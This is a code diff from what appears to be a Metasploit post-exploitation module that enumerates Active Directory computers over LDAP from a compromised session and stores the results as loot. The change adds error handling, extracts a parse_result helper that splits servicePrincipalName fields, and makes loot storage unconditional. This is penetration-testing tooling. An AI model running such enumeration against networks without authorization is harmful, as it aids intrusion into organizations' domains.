search_filter.gsub!('DOM_REPL',domain) - q = query(search_filter, max_search, fields) + begin + q = query(search_filter, max_search, fields) + rescue RuntimeError => e + # Raised when the default naming context isn't specified as distinguished name + print_error(e.message) + return + end if q.nil? or q[:results].empty? return @@ -63,36 +69,33 @@ class Metasploit3 < Msf::Post ) q[:results].each do |result| - row = [] - - 0.upto(fields.length-3) do |i| - if result[i].nil? - field = "" - else - field = result[i] - end - - row << field - - case fields[i] - when "servicePrincipalName" - split = field.split('/') - if split.length == 2 - row << split[0] - row << split[1] - end - end - - end - - results_table << row + results_table << parse_result(result, fields) end print_line results_table.to_s - if datastore['STORE_LOOT'] - stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) - print_status("Results saved to: #{stored_path}") + stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + + def parse_result(result, fields) + row = [] + + 0.upto(fields.length-3) do |i| + field = (result[i].nil? ? "" : result[i]) + + row << field + + if fields[i] == "servicePrincipalName" + split = field.split('/') + if split.length == 2 + row << split[0] + row << split[1] + end + end + end + + row end end